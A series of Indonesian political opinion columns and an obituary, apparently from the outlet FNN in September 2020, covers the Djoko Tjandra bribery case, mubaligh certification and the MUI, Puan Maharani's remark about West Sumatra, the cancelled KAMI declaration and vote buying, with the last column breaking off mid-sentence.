by Margarito Kamis Jakarta FNN – Selasa (08/09). Kasus dugaan suap yang melibatkan Djoko Tjandra kepada seosang Jaksa sangat tipikal. Efek katastropikalnya jelas. Lebar sekali cakupannya. Memunculkan begitu banyak soal dan penafsiran. Intinya kredibilitas penegakan hukum tergegrogoti habis-habisan. Kejaksaan tidak sendiri dalam kasus ini. Ada juga Kepolisian. Menariknya seperti Kepolisian yang telah menetapkan beberapa anggotanya menjadi tersangka, penyidik Kejaksaan juga telah menetapkan satu Jaksa menjadi tersangka. Ditengah pasang naik kasus ini, Kejaksaan Agung telah memutasi beberapa Jaksa Agung Muda (JAM) dari jabatannya. Dilansir Media Indonesia Oline, mutasi ini telah lama diproses. Prosesnya melalui Tim Penilai Akhir (TPA). Mutasi itu dilakukan oleh Presiden. Sebagai tindakan hukum administrasi negara, mutasi itu dituangkan dalam Kepres Nomor 134/TPA Tahun 2020 tanggal 3 Juli 2020 Tentang Pengangkatan Dalam Jabatan Tinggi Madya di Lingkungan Kejaksaan Agung (Lihat Media Indonesia, 7/9/2020). Menariknya Komisi Kejaksaan (Komjak) memiliki bukti otoritatif bahwa salah satu JAM yang dimutasi itu pernah berkomunikasi dengan Djoko Tjandra. Dua kali komunikasinya. Tanggal 2 dan 4 Juli 2020. Konteks komunikasinya adalah operasi Inteljen. Inti komunikasi tersebut Jam Intel meminta Djoko Tjandra menyerahkan diri (Lihat RMOL, 7/9/2020). Apakah Jaksa Agung juga memiliki fakta ini? Dari siapa prakarsa itu muncul? Apakah prakarsa ini official, dan diketahui oleh Jaksa Agung? Mengapa tidak ditangkap? Mengapa Kejaksaan tidak berkordinasi dengan Kepolisian agar sistem Interpol bekerja? Fakta inilah yang menantang. Apa pertimbangan dibalik sikap itu, sehingga tidak diakukan penangkapan? Apakah ini merupakan strategi Kejaksaan Agung? Semua pertimbangan, tidak bisa dijauhkan dari kelemahan. Itu pasti. Itu sebabnya, demi transparansi dan akuntabiluitas penegakan hukum, pertimbangan-pertimbangan itu layak disajikan ke tengah masyarakat. Jelaskan kepada masyarakat saja apa adanya. Berisikokah membukanya? Tidak juga boss. Persoalan terpenting dititik ini adalah apa pertimbangan penting itu. Membuka pertimbangan itu, justru menaikan level transparansi dan akuntabilitas penanganan perkara ini di Kejaksaaan. Bisakah soal ini dilakukan Pak Jaksa Agung? Fakta penanganan kasus ini memberi keyakinan bahwa Pak Jaksa Agung dapat menggerakan energi beningnya untuk membukanya. Toh caranya sangat sederhana. Hanya perlu menyatakan pertimbangan, apa Kejaksaan sehingga tidak berkordinasi dengan Kepolisian untuk menangkap Djoko Tjandra? Hanya itu saja. Sederhana sekali. Toh penyidik Kejaksaan Agung, dalam kenyataannya telah menetapkan satu Jaksanya menjadi tersangka. Tidak itu saja, sejumlah orang yang selama ini tak terdengar namanya, ternyata telah diperiksa oleh penyidik. Para petugas sebuah bank dan money changer yang selama ini tak terdengar namanya, ternyata telah diperiksa oleh penyidik. Terangkai dengan penetapan salah satu Jaksa menjadi tersangka, penyidik Kejaksaan juga telah menetapkan tersangka non kejaksaan menjadi tersangka. Menurut hukum acara pidana, penyidik baru bisa menetapkan seseorang jadi tersangka bila didukung bukti yang cukup. Prosedur mendapatkan bukti dan penetapan tersangkanyapun harus tepat. Jangan asal-asalan. Juga jangan amatiran, sebab tersangkanya bisa dibatalkan oleh hakim tunggal di sidang praperadilan. Sejauh pemberitaan media online penyidikan masih terus berproses. Terlihat kecenderungan penyidik akan menyita barang bukti lain dari tersangka yang diduga kuat, tentu berdasarkan bukti dan fakta penyidikan, berasal dari kejahatan. Diluar itu, jelas tak bisa disita penyidik. Tetapi dititik ini muncul sebuah soal. Soal itu adalah adanya pernyataan ofisial salah satu pejabat Kejagung. Intinya terdapat informasi samar-samar tentang pengantar uang kepada salah satu tersangka telah meninggal dunia. Ini jelas jadi soal baru. Soal ini sangat krusial. Krusial karena merangsang munculnya pertanyaan apakah uang itu diantar atau ditransfer melalui bank? Bila ditransfer melalui Bank, tentu kematian itu, andai benar, tidak mengubah keadaan hukum apapun dalam kasus ini. Pencatatan di Bank akan bebicara sendiri tentang kemana pergi uang tersebut? Tetapi bagaimana bila tidak ditransfer? Bagaimana dan dengan apa penyidik memiliki keyakinan bahwa uang itu nyata-nyata sampai dan diterima oleh dua tersangka? Kapan tersangka dari non kejaksaan menerima? Kapan pula dia menyerahkan kepada tersangka dari Kejaksaan? Dimana diterimanya? Bila tidak dapat diyakini uang telah sampai pada penerima, maka soalnya adalah bagaimana penyidik membangun konstruksi hukum kalau uang itu sampai ke tangan Jaksa yang tersangka itu? Lalu menetapkan keduanya menjadi tersangka? Kalau soal hukum ini tidak dapat dijelaskan berdasarkan dengan fakta dan bukti yang meyakinkan, maka soal lain akan muncul. Bagaimana, dan dengan alasan hukum apa penyidik menyita barang tersangka? Tidakkah menyita barang itu, menurut hukum acara pidana harus dituntun oleh fakta meyakinkan bahwa uang atau barang itu sebagai hasil kejahatan yang disangkakan kepada tersangka? Kejernihan Jaksa Agung merajut untaian demi untaian kasus ini menjadi kuncinya. Kejernihan itu dapat diperlihatkan, salah satunya melalui instruksi Jaksa Agung, misalnya kepada Direktur Penyidikan untuk selanjutnya dikerjakan oleh penyidik. Instruksi itu hanya perlu mencakup dua isu utama. Pertama, pastikan status pengantar uang itu. Apakah masih hidup atau benar-benar telah mati. Kedua, pastikan pula apakah uang itu telah benar-benar sampai dan diterima oleh dua tersangka itu atau tidak. Hanya itu titik. Jaksa Agung tentu saja mengerti konsekuensi hukum dari fakta tersebut, terlepas dari apapun yang didapat penyidik. Keterus-terangan untuk menyajikan fakta yang diperoleh melalui kerja kredibel, pasti berakhir dengan manis untuk Kejaksaan dan eksistensi Pak Jaksa Agung sendiri. Dapatkah ini dilakukan Pak Jaksa Agung? Fakta mutakhir memungkinkan Jaksa Agung berjalan di jalan ini dengan keyakinan penuh, khas laki-laki yang tahu jalan pulang. Pak Jaksa Agung, buat dan ukirlah jalan pulang itu dengan yang paling indah, seindah ujung senja yang dibalut pelangi. Jangan ragu ragu untuk itu. Jalan itu memang bukan jalan hakikat. Tetapi jalan tersebut membuat napas lega selega musafir menemukan setitik embun di padang tandus. Dunia akan berseri-seri menyaksikan keadilan dan kepastian hukum itu ada. Memanggil KPK hadir dalam ekspos perkara, itu juga bagus Pak Jaksa Agung. Tetapi sebagus apapun, pasti tak lebih bagus dari kejernihan dan keterbukaan Pak Jaksa Agung menyelami sedalam dan sejuh mungkin fakta, apapun dalam kasus ini. Membuatnya terang, seterang purnama. Bukalah semuanya kepada masyarakat. Bukalah apa adanya. Jangan ada yang ditutup-tutupi. Biarkan keadilan memancar, berbicara dan memanggil setiap mata hati yang bening menatapnya. Adil itu tak punya bentuk. Juga tak bisa didefenisikan. Adil itu perisai tak tertaklukan, dan argumen yang tak terselami oleh rasio. Tak goyah oleh persepsi orang. Rasa pun acap tak mampu mengenalnya. Adil itu penghancur tak tertandingi terhadap keraguan. Aneh memang. Tapi begitulah seharusnya. Hebatnya seaneh itu sekalipun, Almarhum Pak Lopa terlihat dapat memahaminya sepenuh hati. Pak Jaksa Agung teruskanlah jalan yang saat ini telah terbuka. Pastikan keterbukaan yang telah berlangsung akan terus menemani penanganan kasus ini. Bekerjalah selalu dengan semangat dan hati yang bening. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Prof. Malik Fadjar, M.Sc. Berpulang, Selamat Jalan

by Imam Abdan Tegal FNN - Senin (07/09). KETUA Badan Pembina Harian (BPH) Universitas Muhammadiyah Malang (UMM) Prof. Dr. (H.C.) Drs. H. Abdul Malik Fadjar, M.Sc. berpulang di usia 81 tahun. Rektor UMM periode 1983-2000 ini menghembuskan nafas terakhirnya pada pukul 19.00 WIB di Rumah Sakit Mayapada, Kuningan, Jakarta Selatan. Kabar meninggalnya Prof. Malik Fadjar itu dibenarkan pihak UMM pada Senin (7/9) malam melalui siaran resminya. Abdul Malik Fadjar lahir di Yogyakarta pada 22 Februari 1939. Ia dikenal sebagai tokoh bangsa yang sangat peduli pada dunia pendidikan. Sebagai anak seorang guru yang juga aktivis Muhammadiyah, Malik Fadjar adalah sosok yang mewarisi jiwa aktivisme dan kepemimpinan ayahnya, Fadjar Martodiharjo yang di kalangan Muhammadiyah dikenal sebagai tokoh yang bijaksana dan mengayomi. Darah guru terbukti menancap kuat dalam dirinya, terutama sejak ia menjadi guru agama di daerah terpencil di Sumbawa Besar, Nusa Tenggara Barat (NTB) pada 1959, yaitu Sekolah Rakyat Negeri (SRN) Taliwang. Selanjutnya, perjalanan hidupnya tak pernah lepas dari dunia pengajaran dan pendidikan. Selepas dari SRN Taliwang, ia berturut-turut kemudian mengajar di Sekolah Guru Bantu (SGB) Negeri dan Sekolah Menengah Pertama Negeri (SMPN) Sumbawa Besar NTB pada rentang 1960-1963, dosen Tarbiyah Institut Agama Islam Negeri (IAIN) Malang pada 1972, dosen dan dekan Fakultas Ilmu Sosial dan Ilmu Politik Universitas Muhammadiyah Malang (UMM) hingga 1983, dan kemudian menjadi rektor di dua kampus, yaitu di UMM pada 1983-2000 dan Universitas Muhammadiyah Surakarta (UMS) pada 1994-1995. Selama puluhan tahun menjadi guru di Muhammadiyah, ia tak sekadar menjadi seorang pendidik, tapi juga berkontribusi besar membangun sekolah-sekolah Muhammadiyah dan perpustakaan desa di daerah Yogyakarta dan Magelang. Kesuksesannya dalam mengembangkan pendidikan, terutama pendidikan Islam, membuat namanya kian disegani dalam dunia pendidikan Indonesia. Terlebih, ia mampu membawa UMM yang semula tak begitu dipandang menjadi kampus yang amat disegani dalam konteks nasional bahkan internasional. Hal itu membuatnya dipercaya sebagai Menteri Agama di era Presiden BJ Habibie pada 1998-1999 dan Menteri Pendidikan Nasional di era kepemimpinan Megawati Soekarnoputri 2001-2004. Bahkan, ia juga sempat menjabat Menteri Koordinator Kesejahteraan Rakyat (Menko Kesra) ad-interim menggantikan Jusuf Kalla yang ketika itu mencalonkan diri sebagai wakil presiden pada Pemilu 2004. Di samping itu, Malik juga aktif di Ikatan Cendekiwan Muslim Indonesia (ICMI) dan Himpunan Indonesia untuk Pengembangan Ilmu-Ilmu Sosial (HIPIIS). Jati diri Malik Fadjar sebagai seorang pendidik, begitu pula karakter kepemimpinannya yang memiliki pengaruh demikian besar itu tidak terjadi begitu saja. Dari riwayat pendidikannya, terlihat bahwa ia memang memiliki passion yang amat besar untuk menjadi seorang guru. Malik memulai pendidikannya di SRN Pangenan Kertoyudan, Magelang, Jawa Tengah pada 1947. Ia selanjutnya bersekolah di Pendidikan Guru Agama Pertama Negeri (PGAPN) Magelang pada 1953 dan Pendidikan Guru Agama Atas Negeri (PGAAN) Yogyakarta pada 1957. Ia kemudian kuliah di IAIN Sunan Ampel Malang pada 1963 dan meraih gelar Sarjana Pendidikan Kemasyarakatan Islam pada 1972. Tujuh tahun setelahnya, yaitu pada 1979, ia melanjutkan studinya di Florida State University, Amerika Serikat, dan meraih gelar Master of Science di bidang pengembangan pendidikan pada 1981. Kepakarannya di bidang pendidikan kian lengkap setelah Malik dikukuhkan sebagai Guru Besar pada Fakultas Tarbiyah IAIN Sunan Ampel pada 1995. Kemudian pada 2001, Malik mendapat gelar kehormatan Doktor Honoris Causa di bidang kependidikan Islam dari Fakultas Tarbiyah IAIN Syarif Hidayatullah Jakarta. Tak perlu diragukan lagi, pada diri tokoh pendidikan yang tak pernah berhenti berkarya ini, mengalir darah guru dan darah Muhammadiyah, demikian ungkap Anwar Hudijono, penulis perjalanan hidup Malik Fadjar. Sungguh lengkap kiprah Malik Fadjar, mulai dari praktisi pendidikan paling dasar, birokrat pendidikan, hingga cendekiawan Muslim yang senantiasa berpikir soal kemajuan bangsanya. Ibarat pena, Malik Fadjar adalah tinta yang tak pernah habis. Guru adalah jiwanya. Penghayatan terhadap filosofi guru menjadikannya seorang guru yang sebenar-benarnya guru, hingga menjadi Menteri para Guru (Mendiknas). Gugur lagi bunga persyarikatan ke bumi. Baunya semerbak mewangi, Aromanya menebar ke pelosok negeri Semua tersentak, merasa kehilangan, bunga yang satu ini. Sumbangan pemikiran & ilmunya tak diragukan lagi, Kiprahnya di dunia pendidikan patut diteladani, Selamat jalan Prof. Abdul Malik Fajar, Do'a tulus dari kami, Semoga Allah Rabbul Izati mengampuni & menerima amal sholeh yang menetes sepanjang hayatmu. Penulis adalah Guru SMA di Tegal.

MUI Diobok-Obok, Sekjen Ancam Mundur

by Tony Rosyid Jakarta FNN – Senin (07/09). Muballigh akan disertifikasi. Wacana ini berasal dari Menteri Agama. Luar biasa dan sangat serius. Pro dan kontra muncul. Menteri Agama Farul Rozi nggak peduli. Rencana jalan terus. Kabarnya, Majelis Ulama Indonesia (MUI) akan dilibatkan dalam program sertifikasi muballigh versi Menteri Agama ini. Apakah MUI setuju? MUI belum ambil keputusan. Apakah terima tawaran untuk terlibat, atau tidak? Sampai sekarang belum ada pernyataan resmi. Namun mendadak, Sekretaris Jenral (Sekjen) MUI, Anwar Abbas meradang. Sekjen membuat pernyataan yang mengejutkan. Jika sertifikasi muballigh ini diberlakukan, Sekjen MUI, Anwar Abbas akan mengambil sikap yang tegas, yaitu mundur. Anwar Abbas membuat surat pernyataan yang diposting di salah satu group WA. Pernyataan Anwar Abbas pun viral. Dan sejumlah media membicarakannya. Kenapa pernyataan Sekjen Anwar Abas mesti diposting keluar? Kenapa tidak dibicarakan saja dulu di internal MUI saja? Apakah bijak membuat pernyataan mundur dengan memviralkannya di luar MUI? Pernyataan Anwar Abbas yang diposting keluar seolah memberi petunjuk bahwa MUI tak satu suara soal "project" sertifikasi muballigh. Ini juga seolah memberi informasi bahwa di MUI sedang menguat kelompok yang setuju dan menerima rencana sertifikasi muballigh ini. Logikanya, jika penerimaan sertifikasi muballigh nggak menguat di MUI, untuk apa Anwar Abbas membuat ancaman seperti itu. Ancaman Anwar Abbas bisa dipahami sebagai pressure terhadap menguatnya penerimaan terhadap rencana sertifikasi muballigh tersebut. Kedua, Anwar Abbas menganggap sertifikasi muballigh ini bagian dari upaya pemerintah mengontrol, mengawasi dan membatasi para muballigh. Otomatis itu sama saja mengontrol, mengawasi dan membatasi para ulama. Bagaimana negara bisa menjadi baik, jika peran "nahi munkar" ulama dibatasi? Apalagi jika dikaitkan dengan keberhasilan pemerintah mengontrol partai, TNI, kepolisian, KPK, pers, kampus dan sejumlah ormas selama ini. Maka sertifikasi muballigh semakin meyakinkan adanya upaya pemerintah untuk mengontrol semua potensi kekuatan kontrol di luar pemerintah. Ulama ini benteng terakhir rakyat. Jika ulama juga dikontrol, kelarlah negara ini. Ketika kontrol umat menguat, banyak ulama yang semakin kritis dan terlibat dengan urusan politik, pemerintah merasa nggak nyaman. Selalu takut dan was was. Dihantui kekhawatiran yang dibuatnya sendiri. Untuk menghadapi ini, isu radikalisme terus diproduksi. Menuduh "good looking" sebagai ciri radikalisme. Katrok... Katrok... Menggelikan! Rupanya, upaya ini tidak cukup berhasil. Bahkan belakangan, MUI justru terdepan menolak sejumlah kebijakan penguasa, terutama Perppu dan RUU. Terutama RUU Haluan Ideologi Pancasila (HIP), Omnibus dan UU Minerba. Juga meminta pembubaran Badan Pembinaan Ideologi Pancasila (BPIP). Hubungan MUI dengan pemerintah saat ini memang tidak begitu harmonis. Terutama sejak keluarnya Fatwa terkait kasus penistaan agama Ahok, dan maklumat MUI tentang RUU HIP. Sejak posisi ketum MUI ditinggal Kiai Ma'ruf Amin, MUI makin kritis, tegas dan berani. Sertifikasi muballigh yang digagas Kementerian Agama dengan melibatkan MUI telah menimbulkan sejumlah kecurigaan. Pertama, MUI bisa dimanfaatkan untuk menghadapi dan mengontrol kekuatan ulama dan umat yang selama ini kritis dan beroposisi terhadap pemerintah. Kedua, membatasi gerakan dakwah agar tidak masuk dalam wilayah politik. Intinya, dakwah nggak boleh kritik pemerintah. Nggak boleh bicara Khilafah, Trisila, dan Ekasila. Tidak boleh ngomongin kebijakan pemerintah dan menyinggung korupsi. Bicara iman taqwa yang hanya terkait surga neraka saja. Kalau begitu, buat apa agama ada di dunia? Oleh banyak ulama dan kalangan umat, sertifikasi muballigh jika diberlakukan, maka potensinya sangat besar mampu membonsai dan mengkriminalisasi para muballigh. Karena itu, Sekjen MUI tegas. Buat apa tetap bertahan di MUI, kalau kemudian MUI dijadikan alat penguasa untuk membonsai dan mengkriminalisasi ulama. Munduuuuuuuur! Penulis dalah Pengamat Politik dan Pemerhati Bangsa.

Orang Minang Marah, Puan Tidak Paham Sejarah

by Pangi Syarwi Chaniago Jakarta FNN – Senin (07/09). Komentar Puan tentang Sumatera Barat mendukung negara Pancasila, jelas merugikan citranya sendiri. Bagaimana pun ucapan ini dapat dipastikan membuat orang Minang tersinggung. Orang Minang makin resisten. Makin tak empati terhadap cucu Praklamotor ini. Sekalipun Puan adalah cucu dari tokoh Proklamator Soekarno, tak ada jaminan Puan khatam sejarah Pancasila dan kontribusi pendiri bangsa. Termasuk kontribusi orang Minang untuk Indonesia. Hampir separoh dari saham pendirian Republik Indonesia ini, kita berani mengatakan adalah kontribusi nyata orang minang. Itu harus ditegaskan kembali, dan Puan harus paham soal ini. Jangan asal ngomong. Puan harus tahu, Rosihan Anwar (jurnalis kawakan) berdasarkan pengamatannya, ada benar pernyataan beliau, selama bergaul dengan tokoh-tokoh Minang, sejak zaman pergerakan sampai masa kemerdekaan, hampir keseluruhan para pendiri bangsa yang berasal dari ranah Minang. Apa untungnya Puan mengeluarkan pernyataan tendensius semacam ini? Apalagi beliau adalah pejabat negara sekelas Ketua DPR. Pernyataan ini sangat-sangat tidak pantas, sama saja mempermalukan dirinya sendiri dan mencoreng marwah DPR. Tampak kalai itu adalah omongan dari kelas politisi picisan dan kacangan. Bukan negarawan kelas Ketua DPR. Kelas anggota DPR saja tak pantas. Apalagi Ketua DPR. Apa dampak terhadap Puan? Jelas pernyataan ini akan sangat merugikan dirinya sendiri. Katanya, Puan mau maju menjadi capres atau cawapres di pilpres 2024. Namun sudah mulai mengeluarkan statmen yang blunder. Statemen yang bisa digoreng-goreng lawan-lawan politiknya di kemudian hari. Jelas tidak menguntungkan sama sekali terhadap citra Puan Maharani. Justru akan kena jebakan Batman. Menghambat ambisi beliau untuk mendapat dukungan, karena terbentur dengan kata-katanya beliau sendiri. Jejak digital bisa digoreng lawan politiknya di kemudian hari. Itu pasti. Saya tidak habis pikir, menggapa Puan sangat berani mengeluarkan statmen yang kurang tepat? Melenceng dari sejarah. Kita tidak menyangka beliau mencurigai ke-Pancasilais orang Minang ? Semestinya sikap politisi berkelas adalah merangkul. Bukan memukul, kalau ingin benar-benar ingin mendapatkan simpati dan dukungan. Banyak spekulasi yang menyebutkan bahwa Puan sangat tendensius. Mendiskriditkan masyarakat Minang tak mendukung negara Pancasila. Ssumsi kita mungkin karena kemarahan PDIP yang tidak sama sekali memperoleh kursi di DPR dari Sumbar. Barangkali ini adalah bentuk ekspresi keputus-asaan PDIP, karena gagal menyakinkan pemilih Minang. Termasuk Presiden Jokowi yang tidak cukup berhasil mendapatkan insentif elektoral dari pemilih Minang pada Pilpres 2019 lalu. Sulitnya PDIP menaklukkan Sumatera Barat, kemudian dengan enteng menyerang Sumbar agar diharapkan mendukung Negara Pancasila. Namun justru langkah ini kontra produktif dengan tujuan politik yang ingin diraih oleh PDIP. Kalau mau dapat dukungan, meraih simpati, bukan malah mencari-cari masalah yang malah membuat orang antipati. Puan nampak kurang baca sejarah. Kering dan dangkal pikirannnya membaca kontribusi orang Minang mendirikan Republik Indonesia. Yang punya pancasila itu bukan Soekarno saja. Bahkan konsep, ide, dan draf naskah Pancasila yang buat adalah founding father yang dalamnya banyak putra Minang. Itu fakta. Beliau mungkin lupa atau pura-pura lupa yang namanya Muhammad Yamin, Sutan Syahrir, Tan Malaka, Agus Salim, Muhammad Hatta dan lain lain, masih banyak lagi adalah putra MInang. Mereka adalah orang Minang hebat yang menjadi tulang punggung merumuskan naskah Pancasila, dan menjadi penopang utama berdirinya NKRI. Bahkan yang memproklamirkan Pendirian Republik Indonesia bersama Soekarno adalah putra Minang, Bung Hatta. Kitapun hakul yakin, kalau pun nanti ada partai yang mau mengubah Pancasila, tetap saja orang Minang yang akan berdiri di garda terdepan, dan pasang badan all out dalam membela Pancasila. Mbak Puan sayang, nggak perlu meragukan jiwa Pancasilais orang minang. Jangan sampai Puan memercik air didulang, kepercik wajah sendiri. Kita justru curiga ada partai yang mau mengubah Pancasila menjadi Trisila dan Ekasila. Partai mana yang membuat draf dan mengusulkan Rancangan Undang-Undang Trisila dan Ekasila? Silahkan dijawab sendiri. Jangan sampai tak rasional dan jernih berfikir hanya karena PDIP Sumbar nggak punya kursi di DPR. Lalu enak betul bilang Sumbar ngak mendukung Pancasila. Jangan sampai begitu. Jangan bersumbu pendek kaya anak TK, kekanak-kanakan. Sudah Ketua DPR, jangan cengeng jadi politisi. Model Pancasila macam apa yang mereka pertontonkan? Curiga terus-menerus sesama anak bangsa? Politik pecah-belah semacam ini adalah karakter yang kurang pas. Statmen Puan dalam momentum jelang pilkada ini, jelas merugikan pasangan Mulyadi- Ali Mukhni yang diusung koalisi partai Demokrat, PAN dan PDIP sebagai calon Gubernur/Wakil Gubernur Sumbar. Kerja keras pasangan kandidat selama ini bisa buyar akibat pernyataan blunder ini. Pasangan ini akan berpotensi menuai sentimen negatif dan resistensi pemilih orang Minang yang tinggi. Pasangan ini berpotensi besar ditinggal pemilih yang kecewa, hanya gara-gara dukungan partai yang pimpinannya membuat pernyataan ngawur dan semborono. Penulis adalah Direktur Esksekutif Voxpol Center Research and Consulting.

KAMI Justru Ditakuti Karena Gerakan Moral Itu

by Asyari Usman Medan FNN - Senin (07/09). Sangat mengherankan. Pihak hotel di Bandung membatalkan secara sepihak penggunaan ruangan yang disewa untuk acara deklarasi KAMI (Koalisi Aksi Menyelamatkan Indonesia) Jawa Barat. Seharusnya berlangsung hari Senin (7/9/2020). Acara kemudian dipindahkan ke rumah salah seorang aktivis KAMI setempat. Hotel setempat membatalkan penggunaan fasilitas ruangan karena rekomendasi Satgas Covid-19 dicabut kembali. Semula Satgas mengizinkannya. Tapi, kemarin (6/9/2020) KAMI menerima surat Satgas yang berisi pencabutan rekomendasi “boleh buat acara”. Pencabutan rekomendasi ‘last minute’ ini sangat mengherankan. Sebab, persetujuan Satgas itu bukan dikeluarkan secara sembarangan. Sudah dicermati bersama panitia pelaksana tentang aspek protocol Covid-19. Singkatnya, panitia bisa meyakinkan Satgas tentang penataan acara agar tidak menjadi masalah. Tapi, mengapa Satgas berubah pikiran? Dan berubah pikiran sangat cepat? Surat rekomendasi boleh dan surat pencabutannya dikeluarkan sama-sama bertanggal 6 September 2020. Banyak yang menduga pencabutan rekomendasi Satgas tidak murni karena Satgas merasa informasi kegiatan tidak sesuai dengan penjelasan panitia. Ini yang menjadi alasan Satgas. Kalau benar, bukankah Satgas masih bisa menekankan kembali kepada panitia bahwa acara deklarasi harus dilaksanakan seketat situasi Covid. Pasti bisa. Satgas kelihatannya harus berhadapan dengan sesuatu yang tidak rasional. Yaitu, sesuatu yang berada “di luar kendali mereka”. Ada indikasi kuat bahwa KAMI dianggap sebagai musuh oleh para penguasa. Indikasinya? Di hari deklarasi KAMI pusat di Jakarta pada 18 Agustus 2020 ada aksi tandingan. Orang KAMI menduga aksi tandingan itu diatur oleh pihak tertentu. Kemudian, beruntun muncul reaksi-reaksi negatif. Terutama dari orang-orang besar yang sekubu dengan penguasa. Intinya, penguasa tidak berkenan. Orang-orang KAMI mencoba mencari sebab mengapa gerakan mereka dianggap sebagai musuh. KAMI menegaskan mereka hanya melakukan gerakan moral. Tidak bermaksud mengganggu penguasa. Tepatnya, tidak punya tujuan untuk menggoyang posisi Presiden Joko Widodo (Jokowi). Namun, mengapa ada yang tak berkenan dengan KAMI? Semestinya tidak ada yang harus merasa terusik. Apalagi merasa terancam. Nah, justru gerakan moral itulah yang membuat banyak orang di lingkaran kekuasaan merasa gelisah. Merasa takut. Kalau KAMI melakukan gerakan politik, para penguasa malah tenang dan senang. Mereka tidak takut gerakan politik. Sebab, tidak ada satu pun gerakan politik yang bisa menandingi kekuatan penguasa. Penguasa memiliki semuanya. Hampir semua parpol ada dalam genggaman mereka. Mereka punya sekutu oligarki finansial yang sangat ‘powerful’. Mereka juga memiliki perangkat keras keamanan dan pengamanan. Gerakan apa pun dan oleh siapa pun yang mengarah ke kegiatan politik akan ditumpas dengan mudah. Sebentar saja bisa dilenyapkan. Tidak demikian halnya denga gerakan moral. KAMI bisa dengan cepat menghimpun simpati dan dukungan di seluruh pelosok Nusantara. Dari A sampai Z. Dari lintas agama sampai lintas profesi hingga lintas etnis. Sehingga, KAMI yang tak punya apa-apa dilihat oleh penguasa memiliki kekuatan besar. Memang harus diakui gerakan moral KAMI adalah ruang terbuka. Dan sangat luas. Yang sekarang menjadi tempat persinggahan orang-orang yang melihat bahaya ketimpangan sosial-ekonomi dan penegakan keadilan. Ruang terbuka itu berpotensi mengumpulkan jutaan pikiran kritis. Jutaan pikiran kritis itu pasti akan melahirkan tuntutan perubahan dan perbaikan. Tuntutan perubahan dan perbaikan itulah yang dirasakan oleh penguasa sebagai ancaman. Sebab, pemerintah pada saat ini sedang berada di titik terlemah. Mereka sangat rentan. Perekonomian rapuh. Pengangguran menggelinding terus. Beban utang sangat berat. Plus, wabah Covid-19 yang sangat menguras semua sumber negara. Para penguasa menjadi sangat sensitif. Bahkan paranoid. Sedikiti saja ada suara berdetak di luar, semua cemas. Alarm peringatan mereka langsung berbunyi. Ini yang membuat gerakan moral KAMI pun dianggap sebagai ancaman. Padahal, KAMI hanya ingin membantu. Menawarkan formula kuratif yang diramu oleh para pakar yang berhimpun secara sukarela di gerakan ini. Semoga saja pembatalan acara deklarasi KAMI di Bandung tidak terjadi karena tekanan dari penguasa.[] Penulis adalah Wartawan Senior FNN.co.id

Democracy For Sale

by Zainal Bintang Jakarta FNN - Jumat 04 September 2020 beredar luas berita di berbagai media kalau, “Parpol Pendukung Berbelok. Akibatnya, Pasha Ungu Terancam Gagal Maju Jadi Cawagub Sulteng”. Hari itu juga melalui WhatsApp terkirim foto Pasha Ungu bersama Adhyaksa Dault mantan Menteri Pemuda Olah Raga era SBY (Soesilo Bambang Yudhoyono) 2004 – 2009. “Sudah pasti bang Pasha Ungu gagal maju” kata Adhyaksa dalam percakapan tilpon dengan saya. Semalam Pasha Ungu bertandang ke rumah mantan Ketua Kwartir Nasional Pramuka itu. Tentu banyak yang dibicarakan di rumah Adhiyaksa. Mengiringi kegagalan Pasha, bermunculan meme sindiran di sosial media “Pasha Korban Begal Politik. Menurut Kamus Besar Bahasa Indonesia(KBBI), begal artinya penyamun atau merampas di tengah jalan. Tidak mengherankan jika banyak pengamat maupun aktivis demokratis menunjuk Pasal 222 UU pemilu No. 7 Tahun 2017 sebagai biang kerok pembegalan nasional. Pasal 222 itu mensyaratkan parpol pengusung capres/cawapres kudu memenuhi perolehan kursi minimal 20 persen di parlemen yang disebut PR (Presidential Threshold) hasil Pemilu 2019. Sebuah persekongkolan jahat yang memungkin hanya dua pasangan calon presiden yang dapat maju bertarung. Dengan kata lain peluang figur yang kompeten dan bersih telah dibegal secara sistemik oleh elite politik. Ketatnya persaingan mengumpulkan suara sebanyak itu memaksa terbukanya jalan transaksional antar partai politik yang menguatkan praktik jual – beli suara. Harold Dwight Lasswell, ilmuwan politik terkemuka Amerika Serikat dan seorang pencetus teori komunikasi (lahir 13 Februari 1902) menyebutkan, proses politik sebagai konflik atas definisi dan distribusi nilai-nilai sosial dan sudah merumuskan kalimat terkenal "Politik adalah studi tentang siapa mendapat apa, kapan, dan bagaimana" ( Politics: Who Gets What, When, How). Buku dengan nama yang sama, diterbitkan pada tahun 1936, meringkas gagasan utama dari "Politik Dunia dan Ketidakamanan Pribadi". Lasswell mendefinisikan, “politik ini telah merangkum perilaku politik di seluruh dunia. Dengan politisi didorong oleh posisi politik, distribusi sumber daya, dan bersaing dengan pesaing mereka. Kenyataan ini telah menyebabkan banyak sikap apatis politik di seluruh dunia. Bersama korporatisasi negara, dengan kepentingan terselubung yang menembus sistem politik dan memiliki suara besar atas perumusan kebijakan dan undang-undang”. Menarik membaca buku “Democracy for Sale” (Demokrasi Untuk Dijual), ditulis oleh Ward Berenschot, Peneliti Koninklijk Institiuut Vor Taal – Land en Volkenkunde (KITLV) bersama Edward Aspinall, Profesor pada Departemen Perubahan Politik dan Sosial, Coral Bell School of Asia Pacific Affairs, Australian National University. Secara garis besar, buku ini menggambarkan politik dan demokrasi di Indonesia dalam ruang informal. Pemfokusan pada ruang informal sengaja diambil karena jarangnya studi yang menelaah kondisi politik Indonesia pada ruang informal. Dalam buku yang diterbitkan oleh Yayasan Pustaka Obor Yogyakarta (2019) sang peneliti menulis, “Seringkali orang kalau bicara politik Indonesia, mereka bicara soal politik formal. Yang dibicarakan adalah pidato calon atau strategi mereka di media massa. Maka, kita bicara apa yang ada di belakang politik formal, seperti jaringan calon, masalah uang, dan politik transaksional,” jelas Ward pada acara bedah buku di Gedung Widya Graha Lembaga Ilmu Pengetahuan Indonesia (LIPI), Gatot Subroto, Jakarta Selatan,10 April setahun lalu. Secara terang – terangan Ward mengatakan, dirinya menemukan tiga praktik yang khas dalam politik informal Indonesia. Pertama, politik transaksional yang salah satu kategorinya adalah jual beli suara. Ward menganalisis, jual beli suara yang dilakukan pada pemilu dan pemilihan kepala daerah (pilkada) di Indonesia tak hanya dilakukan melalui jaringan partai, melainkan juga oleh orang-orang yang merupakan bagian dari jaringan calon. Praktik ini tak ditemukan di India dan Argentina. Sebab jual beli suara di kedua negara tersebut hanya dilakukan melalui jaringan partai politik. Kekhasan kedua, yakni adanya tim sukses. Cerita mengenai tim sukses dan broker politik tak akan ditemukan pada politik India dan Argentina, 